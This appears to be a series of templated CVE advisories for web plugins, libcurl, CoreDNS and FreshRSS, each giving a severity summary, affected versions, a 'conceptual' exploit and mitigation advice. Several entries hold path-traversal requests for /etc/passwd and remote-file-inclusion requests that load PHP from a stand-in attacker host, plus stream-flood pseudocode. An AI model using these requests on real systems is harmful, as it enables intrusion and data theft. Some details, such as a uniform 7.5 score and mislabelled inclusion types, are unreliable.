Author: Ameeba

Overview

This report provides an in-depth analysis of CVE-2025-48124, a serious Path Traversal vulnerability identified in Holest Engineering’s Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light. This vulnerability could potentially lead to system compromise or data leakage, critically affecting businesses that rely on these tools for their e-commerce activities.

Vulnerability Summary

CVE ID: CVE-2025-48124
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Spreadsheet Price Changer for WooCommerce | n/a through 2.4.37
WP E-commerce – Light | n/a through 2.4.37

How the Exploit Works

The vulnerability allows an attacker to manipulate file or directory paths to gain unauthorized access to restricted areas of the system. This is accomplished through the misuse of the application’s failure to properly validate or sanitize user input, allowing the attacker to point to any arbitrary directory or file on the system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. The attacker could input a path traversal string such as “../../../etc/passwd” to gain access to sensitive system files.

GET /file?filename=../../../etc/passwd HTTP/1.1
Host: target.example.com

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor-supplied patch as soon as possible. If the patch cannot be applied immediately, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation.

Overview

This report details a significant vulnerability, CVE-2025-39476, in magentech Revo. This vulnerability is of considerable concern due to the PHP Remote File Inclusion, potentially leading to system compromise or data leakage. It impacts all versions of Revo up to and including 4.0.26. Understanding this vulnerability is vital for organizations utilizing this software to ensure their cybersecurity measures are robust and up-to-date.

Vulnerability Summary

CVE ID: CVE-2025-39476
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

magentech Revo | All versions up to and including 4.0.26

How the Exploit Works

The vulnerability arises from an improper control of a filename for include/require statement in PHP Program. This issue allows an attacker to manipulate the file inclusion procedures in PHP to load remote files that contain malicious code. By exploiting this vulnerability, an attacker can execute arbitrary PHP code on the server, potentially leading to complete system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. In this case, the attacker includes a malicious PHP file from a remote server:

GET /index.php?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.com

An attacker’s malicious_file.php could contain code intended to compromise the system or exfiltrate data.

Mitigation

To mitigate the risk associated with this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. As a temporary measure, users can also use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, these measures are not a substitute for patching and updating the software.

Overview

This report covers CVE-2025-31635, a critical Path Traversal vulnerability discovered in LambertGroup’s CLEVER product. This flaw could potentially allow an attacker to bypass restrictions and access files or directories that they should not have access to. As a result, the integrity, confidentiality, and availability of the affected systems could be compromised, making this issue a significant concern for users of CLEVER.

Vulnerability Summary

CVE ID: CVE-2025-31635
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

LambertGroup CLEVER | n/a – 2.6

How the Exploit Works

The Path Traversal vulnerability in LambertGroup’s CLEVER product allows an attacker to manipulate variables that reference files with ‘..’ sequences and its variations. Consequently, this can cause the application to access files or directories outside of the restricted directory, potentially leading to sensitive information exposure, system compromise, or data leakage.

Conceptual Example Code

Here is a conceptual example of a HTTP request that could exploit this vulnerability:

GET /file?filename=../../../etc/passwd HTTP/1.1
Host: vulnerable-clever.com

In this example, the attacker attempts to traverse the file system to the “/etc/passwd” file, which could reveal sensitive information about the system’s users.

Mitigation Guidance

Users of the affected versions of LambertGroup CLEVER are strongly advised to apply the vendor-supplied patch as soon as possible. As a temporary mitigation measure, users can make use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to protect against potential exploitation of this vulnerability. However, these measures should not replace the need for patching and updating the software to a secure version.

Overview

The focus of this report is on a critical vulnerability, known as CVE-2025-31050, which resides in appthaplugins Apptha Slider Gallery. This Path Traversal vulnerability poses a significant threat to the confidentiality, integrity and availability of the affected systems and data. Exploitation of this vulnerability could potentially lead to system compromise or data leakages, highlighting the urgent need for mitigation.

Vulnerability Summary

CVE ID: CVE-2025-31050
Severity: High (CVSS:7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Apptha Slider Gallery | n/a through 2.5

How the Exploit Works

The exploit takes advantage of an improper limitation of a pathname to a restricted directory (‘Path Traversal’) vulnerability in the Apptha Slider Gallery. An attacker can manipulate variables that reference files with ‘dot-dot-slash (../)’ sequences and its variations such as ‘http://’, thereby navigating out of the intended directory and gaining access to unauthorized files or directories.

Conceptual Example Code

Below is a simplified conceptual example of a malicious HTTP request exploiting the Path Traversal vulnerability:

GET /loadImage?filename=../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, instead of loading an image, the attacker is attempting to retrieve a sensitive file (‘/etc/passwd’) from the server.

Mitigation

Until a patch is available from the vendor, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability by inspecting incoming HTTP requests for patterns indicative of Path Traversal attacks.

Overview

The identified vulnerability, CVE-2025-31045, is a high-risk security issue affecting the Elfsight Contact Form widget, versions up to 2.3.1. This flaw allows unauthorized actors to gain access to sensitive system information, potentially leading to system compromise or data leakage. It’s imperative for users of the widget to understand this vulnerability and take necessary steps to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-31045
Severity: High – CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Elfsight Contact Form Widget | Up to 2.3.1

How the Exploit Works

The vulnerability arises from the widget’s improper handling of sensitive system information. Attackers can exploit this flaw to retrieve embedded sensitive data, potentially leading to unauthorized access to the system control sphere. This can result in the compromise of system integrity or data leakage.

Conceptual Example Code

An example of how this vulnerability might be exploited is shown in the following conceptual HTTP request:

GET /elfsight-contact-form/?sensitive_data=extract HTTP/1.1
Host: target.example.com

In this example, the malicious actor sends a GET request to the vulnerable endpoint. If the system is vulnerable, it will respond with the requested sensitive data.

Mitigation

To mitigate the risk posed by the CVE-2025-31045 vulnerability, users are advised to apply the latest vendor patch. If this is not feasible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection by monitoring network traffic and identifying potential security breaches.

Overview

This report discusses the recent discovery of a high-severity vulnerability, designated as CVE-2025-5399, which affects the libcurl’s WebSocket code. If exploited, this vulnerability allows a malicious server to trap libcurl in an endless busy-loop, potentially leading to a Denial-of-Service (DoS) attack. This vulnerability is of critical concern to any applications or systems using libcurl, due to the potential for data leakage or system compromise.

Vulnerability Summary

CVE ID: CVE-2025-5399
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

libcurl | All versions prior to patch

How the Exploit Works

The exploit takes advantage of a flaw in the WebSocket code of libcurl. By sending a specially crafted packet, a malicious server can cause libcurl to enter an endless busy-loop. This loop cannot be exited by the application unless the process or thread is forcibly terminated. In effect, this can lead to a DoS attack, where the application becomes unresponsive and inaccessible.

Conceptual Example Code

While we don’t have the exact exploit code, a conceptual attack might involve a WebSocket handshake request with a malicious payload. This could look something like:

GET /chat HTTP/1.1
Host: target.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
Origin: http://example.com
{ "malicious_payload": "..." }

In the above example, the “malicious_payload” could be the specially crafted packet which triggers the endless loop in libcurl.

Mitigation

As a mitigation measure, users are advised to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may help to identify and block malicious packets. However, these are temporary measures and cannot completely secure the system from the vulnerability.

Overview

The vulnerability identified as CVE-2025-47950 exposes a potential Denial of Service (DoS) attack vector in the CoreDNS DNS-over-QUIC (DoQ) server. This vulnerability affects versions of CoreDNS prior to 1.12.2. Given that CoreDNS is a widely used DNS server, this vulnerability could have significant implications for many internet systems, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47950
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage due to Denial of Service (DoS)

Affected Products

Product | Affected Versions

CoreDNS | Prior to 1.12.2

How the Exploit Works

The vulnerability arises from the CoreDNS server’s handling of incoming QUIC streams. Previously, the server would create a new goroutine for every incoming QUIC stream without any limit. This could be exploited by a remote, unauthenticated attacker who could open a large number of concurrent streams. This would lead to uncontrolled memory consumption, potentially causing an Out Of Memory (OOM) crash, particularly in containerized or memory-constrained environments.

Conceptual Example Code

The following pseudocode illustrates how an attacker might exploit this vulnerability:

import quic
def exploit(target):
client = quic.Client()
client.connect(target)
for _ in range(1000000):  # an excessive number of streams
stream = client.new_stream()
stream.send(b"malicious_packet")
exploit("target.example.com")

In this example, the attacker creates an excessive number of QUIC streams, sending a packet on each one, to cause uncontrolled memory consumption and potentially an Out Of Memory (OOM) crash.

Mitigation Guidance

To mitigate this vulnerability, users should upgrade to CoreDNS version 1.12.2 or later, which introduces two key mitigation mechanisms: a cap on the number of concurrent QUIC streams per connection (`max_streams`) and a server-wide, bounded worker pool to process incoming streams (`worker_pool_size`).
For those unable to upgrade, possible workarounds include disabling QUIC support by removing or commenting out the `quic://` block in the Corefile, using container runtime resource limits to detect and isolate excessive memory usage, monitoring QUIC connection patterns and alerting on anomalies, or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.

Overview

The CVE-2025-30999 is a vulnerability in the PHP program of WP Shopify developed by Fahad Mahmood. It presents an improper control of Filename for Include/Require Statement, which allows for PHP Local File Inclusion. This vulnerability affects a significant number of WP Shopify applications and presents a notable risk for potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-30999
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

WP Shopify | n/a through 1.5.3

How the Exploit Works

The vulnerability is due to improper control of a filename that is used in a PHP include/require statement in the WP Shopify application. This allows an attacker to manipulate the input to the filename argument and include a file from a remote server. This can lead to code execution on the target server, leading to potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. In this example, the attacker sends a crafted HTTP request to a vulnerable endpoint. This request includes a malicious payload that triggers the PHP Remote File Inclusion vulnerability.

GET /vulnerable/endpoint?file=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: target.example.com

This request, when processed by the vulnerable server, would essentially run the malicious PHP script on the target server, thereby compromising it.

Mitigation

To mitigate this vulnerability, it’s recommended to apply the vendor patch once available. In the meantime, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Additionally, it’s recommended to limit the input to the filename argument in the PHP include/require statement to locally available files only.

Overview

The Critical Vulnerability Exposure (CVE) CVE-2023-25995 is a high-level security flaw found in the AI Mortgage Calculator used by choicehomemortgage. This vulnerability arises due to the ‘PHP Remote File Inclusion’, which can allow an intruder to introduce malicious codes into the system. The flaw potentially affects all versions up to 1.0.1 of the AI Mortgage Calculator, making it a serious concern for any organization or individual using this software.

Vulnerability Summary

CVE ID: CVE-2023-25995
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Potential Data Leakage

Affected Products

Product | Affected Versions

AI Mortgage Calculator | Up to 1.0.1

How the Exploit Works

This particular exploit takes advantage of the improper control of filenames for the ‘Include/Require’ statement in the PHP program. This would allow an attacker to remotely include a file from any location, local or otherwise. The included file can then execute arbitrary PHP code, thereby compromising the system. In essence, the vulnerability allows an attacker to control what file is included and executed by the vulnerable application.

Conceptual Example Code

Here is a hypothetical example of how an HTTP request exploiting this vulnerability might look:

GET /calculator.php?file=http://malicious.example.com/malicious_code.php HTTP/1.1
Host: vulnerablehost.com
Accept: */*

In this example, the attacker has included a PHP file from a remote server (`http://malicious.example.com/malicious_code.php`), which will be executed by the server running the AI Mortgage Calculator application. This could lead to a full system compromise or potential data leakage.
To mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. If patches are unavailable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as temporary mitigation.

Overview

The CVE-2025-31134 is a severe vulnerability that affects the self-hosted RSS feed aggregator, FreshRSS. The critical flaw allows an attacker to gain additional information about the server, potentially leading to a system compromise or data leakage. This report details the vulnerability, the affected products, and the mitigation guidance.

Vulnerability Summary

CVE ID: CVE-2025-31134
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

FreshRSS | Prior to 1.26.2

How the Exploit Works

The vulnerability stems from the lack of proper security controls in FreshRSS’s directory structure. An attacker can send specific requests to the server, checking for the existence of certain directories. This information can reveal the presence of older PHP versions or other software installed on the server. Armed with this information, the attacker can plan further attacks based on known vulnerabilities of the identified software.

Conceptual Example Code

An attacker might use a command similar to the following to check for the existence of a directory:

GET /path/to/directory HTTP/1.1
Host: target.example.com

If the server responds with a 200 OK status, the attacker knows the directory exists and can then infer information about the server’s configuration or installed software.

Mitigation Guidance

FreshRSS has released a patch in version 1.26.2 that addresses this vulnerability. It is highly recommended that users update their software to the latest version. In the event that an immediate update is not possible, users should consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.